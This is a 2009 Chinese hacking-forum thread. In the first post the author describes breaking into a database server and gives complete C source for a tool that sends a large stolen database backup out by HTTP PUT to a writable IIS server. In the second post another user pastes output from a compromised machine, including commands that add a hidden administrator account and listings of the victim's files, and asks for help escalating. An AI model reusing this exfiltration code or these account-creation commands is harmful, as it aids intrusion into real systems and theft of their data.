发新话题
打印

[原创]命令行下的PUT方式上传大文件

[原创]命令行下的PUT方式上传大文件

文章作者:pt007[at]vip.sina.com
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
   最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.
复制内容到剪贴板
代码:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")

void Usage (char *name);//帮助信息

BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)
   {
     INTERNET_BUFFERS BufferIn = {0};
     DWORD dwBytesRead;
     DWORD dwBytesWritten;
     BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件
       
     BOOL bRead, bRet;

     BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
     //使用put方式上传文件:       
     HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",
         localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
     if (!hRequest)
     {
       printf("Failed to open request handle: %lu\n", GetLastError ());
       return FALSE;
     }
     
         //打开指定的文件:
     HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,
         NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
     if (hFile == INVALID_HANDLE_VALUE)
     {
       printf("\nFailed to open local file %s.", upFile);
       return FALSE;
     }

     BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);
     printf ("File size is %d\n", BufferIn.dwBufferTotal );

     if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))
     {
       printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );
       return FALSE;
     }

     DWORD sum = 0;
     do
     {
       if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))
       {
         printf ("\nReadFile failed on buffer %lu.",GetLastError());
         break;
       }
       if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))
       {
         printf ("\nInternetWriteFile failed %lu", GetLastError());
         break;
       }
       sum += dwBytesWritten;
     }
     while (dwBytesRead == sizeof(pBuffer)) ;

     CloseHandle (hFile);
     printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);
     
         //结束一个HTTP请求:
     if(!HttpEndRequest(hRequest, NULL, 0, 0))
     {
       printf( "Error on HttpEndRequest %lu \n", GetLastError());
       return FALSE;
     }
     return TRUE;
   }
                               

int main(int argc, char **argv)

{   
        //put 127.0.0.1 /1.db c:\\wmpub\\1.exe
        if(argc!=4)
        {
                Usage(argv[0]);
      return 0;
        }  

           //char *ServerName="127.0.0.1"; //这里填写URL地址
           char *ServerName=argv[1];
          
           HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式
           if(!hSession){
                   printf("Failed to open InternetOpen\n");
                   exit(0);
           }
       //连接到一个http服务:
           HINTERNET hConnect = InternetConnect(hSession,
                ServerName,
                INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53
                NULL,
                NULL,
                INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher
                0,
                1);

           if(!hConnect)
           {
                   printf("error InternetConnect\n");
                   return 0;
   }
  
  //TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序
   TCHAR *putfile=argv[3];
  TCHAR *putlocalfile=argv[2];
  BOOL sigh;
  sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);
  if(!sigh)
  {
          printf("error UseHttpSendReqEx\n");
          return 0;
  }


        return 0;
}


//输出帮助的典型方法:
void Usage (char *name)
{
        fprintf(stderr,"===============================================================================\n"
                "\t名称:利用PUT上传300M的大文件\n"
                "\t环境:Win2003+Visual C++ 6.0\n"
                "\t作者:pt007@vip.sina.com\n"
                "\tQQ:  7491805\n"
                "\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
                "\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要IIS里面设置允许写入!\n"
                "\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n"
                "===============================================================================\n",name);
}
[ 本帖最后由 pt007 于 2009-3-18 16:43 编辑 ]

附件

put上传程序.rar (13.8 KB)

2009-3-18 16:37, 下载次数: 659

每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

找不到发帖的地方,所以在这发吧(有关流光的)

我前些天用流光扫出个东西,可以用IIS命名管道执行命令,高兴。可是一直没有什么权限。我不知道往下的思路,
请高手指点一下,这个IP开远程桌面啦。我想加用户。请给个思路,或分析一下

[dir c:]
  Directory of C:\Inetpub\Scripts

2007-01-26  11:10       <DIR>          .
2007-01-26  11:10       <DIR>          ..
2007-04-08  07:16                    0 TFTP24096
2007-04-08  07:16                    0 TFTP24124
2007-10-20  06:13                   13 aaa.txt
2004-03-24  09:23              296,720 ccc.exe
2008-03-28  17:05              118,272 idq.dll
2004-05-03  02:24               16,784 NSIISLOG.DLL
2009-03-07  20:54                    0 w
2009-03-12  21:11                   76 ftp.txt
               8 File(s)        431,865 bytes
               2 Dir(s)  10,473,455,616 bytes free

[C:\WINNT\system32\cmd.exe /c net1 user fansXnet$ fan /add]

[[C:\WINNT\system32\cmd.exe /c net1 localgroup administrators  fansXnet$  /add]]
[C:\WINNT\system32\cmd.exe /c net1 localgroup administrators  fansXnet$  /add]
[set ]
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=KDJYB
ComSpec=C:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_HOST=IP
HTTPS=off
INSTANCE_ID=1
IVMSGDIR=C:\Program Files\TH-DASCOM\msg
LANG=ZHCN936
LOCAL_ADDR=IP
LOCPATH=C:\Program Files\TH-DASCOM\NetSEAT\locale
NLSPATH=C:\Program Files\TH-DASCOM\msg\%L\%N
NUMBER_OF_PROCESSORS=2
Os2LibPath=C:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=C:\Program Files\TH-DASCOM\NetSEAT\bin;C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem;C:\Program Files\Microsoft SQL Server\80\Tools\BINN
PATH_TRANSLATED=c:\inetpub\wwwroot
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 15 Mod
[dir d:]
  Directory of D:\

2007-01-26  10:38       <DIR>          Windows2000-KB902400-x86-CHS
2007-01-26  11:31       <DIR>          07照片
2009-02-22  14:32          849,051,136 bak
2007-10-18  16:10       <DIR>          补丁
2008-10-27  16:06       <DIR>          09照片
2008-06-30  07:57       <DIR>          08照片
2008-11-06  08:07              112,005 防黑屏.rar
2009-02-19  08:08       <DIR>          就业信息网图片
2009-02-19  09:00       <DIR>          新建文件夹 (2)
2006-05-15  19:57           14,811,136 DotNetNuke_Data.MDF
2006-05-15  19:57           10,485,760 DotNetNuke_Log.LDF
2006-05-24  09:21       <DIR>          Program Files
2006-05-31  08:25       <DIR>          新建文件夹
2006-08-18  23:58                    0 gmasfm.vbs
2006-09-26  08:29               74,752 2006通知.doc
2006-09-26  08:31               24,576 2005.doc
2007-01-26  09:53       <DIR>          I386
               7 File(s)    874,559,365 bytes
              10 Dir(s)  10,572,152,832 bytes free

[net1 time]
'net1' is not recognized as an internal or external command,
operable program or batch file.

[date]

TOP

发新话题